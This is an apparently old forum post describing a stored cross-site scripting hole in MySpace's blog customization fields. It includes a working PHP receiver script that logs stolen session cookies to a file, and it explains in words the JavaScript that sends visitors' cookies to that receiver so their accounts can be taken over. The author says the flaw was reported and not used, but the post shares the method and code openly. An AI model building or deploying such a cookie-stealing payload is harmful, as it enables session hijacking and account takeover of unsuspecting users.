Alright, I was going to post...But the server keeps screwing up with my post...Lets try it again...(I think it had to with the script tags...)
I figured this out today, and contacted myspace about the problem. Who knows if they'll fix it. I felt like sharing.
The problem is with the customize a blog section, you can use those fields to insert <.script> and <./script> thus allowing us to jack cookies. I came up with the following simple PHP code to receive the cookies.
Code:
//monster.php - eat some cookies up and digest into cookies.txt
//cookies are teh yummy!
$cookie = $_GET['taste'] . "\n";
$fp = fopen("cookies.txt", "a");
fwrite($fp, $cookie);
fclose($fp);
echo "Thanks for your cookies. :)\n";
As for the JavaScript, it's the standard document.location and document.cookies properties...
I'm not sure exactly which field it is on the customize my blog section, as I was just being lazy and filling each one up with the JS. They filter out input pretty well for the profile page.
I have yet to use this for malicious use, and don't plan to start on it. In theory having the users cookies should allow you to be them to the myspace server. Any input would be greatly appreciated. Thanks
